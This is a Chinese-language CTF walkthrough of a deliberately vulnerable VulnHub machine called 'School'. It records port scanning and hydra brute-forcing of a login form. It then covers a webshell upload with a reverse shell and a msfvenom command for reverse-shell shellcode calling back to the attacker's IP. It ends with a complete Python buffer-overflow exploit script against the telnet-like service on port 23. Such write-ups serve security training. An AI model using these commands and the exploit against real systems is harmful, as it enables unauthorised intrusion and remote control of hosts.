打靶记录26——school

靶机:

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

下载(镜像)https://download.vulnhub.com/boredhackerblog/medium_socnet.ova

难度:

目标:

  • 获得 Root 权限 + 2 Flag

攻击方法:

  • 主机发现
  • 端口扫描
  • 信息收集
  • SQL 注入
  • 信息泄露
  • 文件上传
  • 离线密码破解
  • 在线密码破解
  • WINE
  • 缓冲区溢出
  • EXP 代码编写
  • 本地提权

主机发现

sudo arp-scan -l

端口扫描和服务发现

sudo nmap -p- 192.168.31.38

sudo nmap -p22,23,80 -A 192.168.31.38,目标可能是 Debian 系统,服务器上的 SSH 版本是7.9

┌──(kali㉿DESKTOP-MLG4CQ2)-[~]
└─$ sudo nmap -p22,23,80 -A 192.168.31.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-23 17:52 CST
Nmap scan report for school (192.168.31.38)
Host is up (0.00052s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|   256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_  256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
23/tcp open  telnet?
| fingerprint-strings:
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, ms-sql-s, oracle-tns, tn3270:
|_    Verification Code:
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
| http-title: 404 Not Found
|_Requested resource was login.php
|_http-server-header: Apache/2.4.38 (Debian)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port23-TCP:V=7.94SVN%I=7%D=1/23%Time=6792116E%P=x86_64-pc-linux-gnu%r(N
SF:ULL,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GenericLin
SF:es,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(tn3270,1C,"
SF:Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(GetRequest,1C,"Ver
SF:ification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(HTTPOptions,1C,"Verif
SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RTSPRequest,1C,"Verific
SF:ation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(RPCCheck,1C,"Verification
SF:\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSVersionBindReqTCP,1C,"Verif
SF:ication\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(DNSStatusRequestTCP,1C,
SF:"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Help,1C,"Verifica
SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SSLSessionReq,1C,"Verifica
SF:tion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServerCookie,1C,"V
SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TLSSessionReq,1C,"V
SF:erification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(Kerberos,1C,"Verifi
SF:cation\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SMBProgNeg,1C,"Verificat
SF:ion\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(X11Probe,1C,"Verification\x
SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(FourOhFourRequest,1C,"Verificati
SF:on\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LPDString,1C,"Verification\x
SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPSearchReq,1C,"Verification\x
SF:20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LDAPBindReq,1C,"Verification\x20
SF:Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(SIPOptions,1C,"Verification\x20Cod
SF:e:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(LANDesk-RC,1C,"Verification\x20Code:\
SF:n\0\0\0\xee\x1e@\0\xe2\x1c")%r(TerminalServer,1C,"Verification\x20Code:
SF:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(NCP,1C,"Verification\x20Code:\n\0\0\0\x
SF:ee\x1e@\0\xe2\x1c")%r(NotesRPC,1C,"Verification\x20Code:\n\0\0\0\xee\x1
SF:e@\0\xe2\x1c")%r(JavaRMI,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\x
SF:e2\x1c")%r(WMSRequest,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\
SF:x1c")%r(oracle-tns,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c
SF:")%r(ms-sql-s,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c")%r(
SF:afp,1C,"Verification\x20Code:\n\0\0\0\xee\x1e@\0\xe2\x1c");
MAC Address: 08:00:27:D7:87:B1 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.51 ms school (192.168.31.38)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.34 seconds

nc 192.168.31.38 23 连接一下 23 端口看一下有什么反馈,发现和常见的 telnet 服务不一样,要求我们输入验证码

访问 80 端口是一个登录框

暴力破解


hydra

hydra 是一款功能强大且广为人知的开源密码破解工具,常用于安全审计和渗透测试工作中,以下从多个方面详细介绍它:

特点

  • 多协议支持hydra 支持众多网络协议的密码破解,如 SSH、FTP、HTTP、HTTPS、SMTP、POP3、IMAP 等。这使得它在不同的网络服务场景下都能发挥作用,能够针对各种应用程序和服务进行密码暴力破解测试。
  • 速度快:采用多线程技术,能够同时发起多个连接和尝试,大大提高了密码破解的速度。通过合理配置线程数量,可以在短时间内尝试大量的密码组合。
  • 高度可定制:用户可以自定义用户名、密码字典、攻击模式等,根据具体的测试需求灵活调整破解策略。还可以设置并发连接数、超时时间等参数。

基本用法

hydra 的基本语法如下:

bash

hydra [-l <username> | -L <username_list>] [-p <password> | -P <password_list>] <target> <service>
  • 参数说明
    • -l <username>:指定单个用户名。
    • -L <username_list>:指定包含多个用户名的文件路径。
    • -p <password>:指定单个密码。
    • -P <password_list>:指定包含多个密码的字典文件路径。
    • <target>:目标主机的 IP 地址或域名。
    • <service>:要攻击的服务,如 sshftphttp 等。

示例

1. SSH 服务密码破解

bash

hydra -l root -P /path/to/passwords.txt ssh://192.168.1.100

此命令表示使用用户名 root/path/to/passwords.txt 字典文件对 IP 为 192.168.1.100 的主机的 SSH 服务进行密码破解。

2. HTTP 表单认证破解

bash

hydra -l admin -P /path/to/passwords.txt 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:F=incorrect"

该命令针对 IP 为 192.168.1.100 的主机上的 login.php 表单进行破解,使用用户名 admin 和指定字典文件。^USER^^PASS^hydra 的占位符,分别代表用户名和密码。F=incorrect 表示当页面中出现 incorrect 字符串时,认为密码验证失败。


根据这个 URL 地址来进行爆破

hydra 192.168.31.38 http-form-post "/student_attendance/ajax.php?action=login:username=^USER^&password=^PASS^:\r\n\r
\n3" -l admin -P /mnt/d/Downlaods_1/MidPwds.txt -vV -f
  • -vV:这是两个详细输出选项的组合。-v 表示显示详细的破解过程信息,-V 表示显示每个尝试的用户名和密码组合,方便用户实时了解破解进度和具体尝试情况。
  • -f:当找到一个有效的用户名和密码组合后,hydra 会立即停止破解过程,不再继续尝试其他密码。

使用密码成功进入后台

信息泄露

Ctrl + U 查看源代码发现注释里面有提示一个参数 site_settings,还有一个 uploads 的目录

传参后发现一个文件上传的点,尝试上传 Webshell

文件上传

kali 里面自带有 webshell,修改一下里面的 ip 为 kali 本机的 ip

然后成功上传上去了,路径就在刚刚发现的 uploads 路径下

现在 kali 启动监听,然后就点击触发反弹 shell

python -c "import pty;pty.spawn('/bin/bash')"

升级一下 shell

看 fox 账号下发现第一个 flag

第二个 flag 还是得提权之后才能看

查看 win 文件发现是一个脚本

用 wine 可以在 Linux 系统上运行 Windows 软件

使用 msf 生成 shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.31.127 LPORT=4444 -b '\x00\x0a\x4d\x4f\x5f\x79\x7e\x7f' -f python

编写 exp

参考:vulnhub靶机-School: 1_ldapbindreq-CSDN博客

#!/usr/bin/python3
import socket
buf=b''
target_ip='192.168.31.38'
target_port=23
recv_buf=4096
junk = b'a' * 1902
ret_addr=b'\xdd\x12\x50\x62'
#nops=b'\x90'*32   可选
buf =  b""
buf += b"\x2b\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e"
buf += b"\x81\x76\x0e\xc0\xf1\x7a\xfb\x83\xee\xfc\xe2\xf4"
buf += b"\x3c\x19\xf8\xfb\xc0\xf1\x1a\x72\x25\xc0\xba\x9f"
buf += b"\x4b\xa1\x4a\x70\x92\xfd\xf1\xa9\xd4\x7a\x08\xd3"
buf += b"\xcf\x46\x30\xdd\xf1\x0e\xd6\xc7\xa1\x8d\x78\xd7"
buf += b"\xe0\x30\xb5\xf6\xc1\x36\x98\x09\x92\xa6\xf1\xa9"
buf += b"\xd0\x7a\x30\xc7\x4b\xbd\x6b\x83\x23\xb9\x7b\x2a"
buf += b"\x91\x7a\x23\xdb\xc1\x22\xf1\xb2\xd8\x12\x40\xb2"
buf += b"\x4b\xc5\xf1\xfa\x16\xc0\x85\x57\x01\x3e\x77\xfa"
buf += b"\x07\xc9\x9a\x8e\x36\xf2\x07\x03\xfb\x8c\x5e\x8e"
buf += b"\x24\xa9\xf1\xa3\xe4\xf0\xa9\x9d\x4b\xfd\x31\x70"
buf += b"\x98\xed\x7b\x28\x4b\xf5\xf1\xfa\x10\x78\x3e\xdf"
buf += b"\xe4\xaa\x21\x9a\x99\xab\x2b\x04\x20\xae\x25\xa1"
buf += b"\x4b\xe3\x91\x76\x9d\x99\x49\xc9\xc0\xf1\x12\x8c"
buf += b"\xb3\xc3\x25\xaf\xa8\xbd\x0d\xdd\xc7\x0e\xaf\x43"
buf += b"\x50\xf0\x7a\xfb\xe9\x35\x2e\xab\xa8\xd8\xfa\x90"
buf += b"\xc0\x0e\xaf\xab\x90\xa1\x2a\xbb\x90\xb1\x2a\x93"
buf += b"\x2a\xfe\xa5\x1b\x3f\x24\xed\x91\xc5\x99\xba\x53"
buf += b"\xdf\x8e\x12\xf9\xc0\xe0\x26\x72\x26\x9b\x6a\xad"
buf += b"\x97\x99\xe3\x5e\xb4\x90\x85\x2e\x45\x31\x0e\xf7"
buf += b"\x3f\xbf\x72\x8e\x2c\x99\x8a\x4e\x62\xa7\x85\x2e"
buf += b"\xa8\x92\x17\x9f\xc0\x78\x99\xac\x97\xa6\x4b\x0d"
buf += b"\xaa\xe3\x23\xad\x22\x0c\x1c\x3c\x84\xd5\x46\xfa"
buf += b"\xc1\x7c\x3e\xdf\xd0\x37\x7a\xbf\x94\xa1\x2c\xad"
buf += b"\x96\xb7\x2c\xb5\x96\xa7\x29\xad\xa8\x88\xb6\xc4"
buf += b"\x46\x0e\xaf\x72\x20\xbf\x2c\xbd\x3f\xc1\x12\xf3"
buf += b"\x47\xec\x1a\x04\x15\x4a\x8a\x4e\x62\xa7\x12\x5d"
buf += b"\x55\x4c\xe7\x04\x15\xcd\x7c\x87\xca\x71\x81\x1b"
buf += b"\xb5\xf4\xc1\xbc\xd3\x83\x15\x91\xc0\xa2\x85\x2e"
    
payload = b''
payload += junk
payload += ret_addr
#payload += nops
payload += buf
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as clientSock:
    clientSock.connect((target_ip,target_port))
    data_from_srv = clientSock.recv(recv_buf)
    print(f"Reply --> {data_from_srv}")
    print(f"Sending --> {payload}")
    clientSock.sendall(payload)

运行 exp,获得 shell

去到 root 路径获取最后一个 flag

相关推荐
啥都想学的又啥都不会的研究生2 分钟前
Redis设计与实现-服务器中的数据库
运维·服务器·数据库·redis·笔记·缓存·性能优化
m0_748229993 分钟前
redis 使用
数据库·redis·缓存
Foolforuuu7 分钟前
什么样的场景适用redis?redis缓存是什么?
数据库·redis·缓存
.昕..8 分钟前
(二)seacmsv9注入管理员账号密码+orderby+limit
python·网络安全
m0_7482340810 分钟前
redis 清理缓存
数据库·redis·缓存
智享AI17 分钟前
阿里云工作空间与Ollama(一)
数据库·阿里云·云计算
聆风吟º17 分钟前
阿里云操作系统控制台实战评测:提升云资源管理与监控效率
数据库·阿里云·云计算
学习嵌入式的小羊~18 分钟前
视频图像刷新到HTTP的原理
网络·网络协议·http
小馒头学python19 分钟前
【阿里云】操作系统控制台——体验与测评
数据库·redis·阿里云
瞬 季30 分钟前
计算机网络-应用层
网络·计算机网络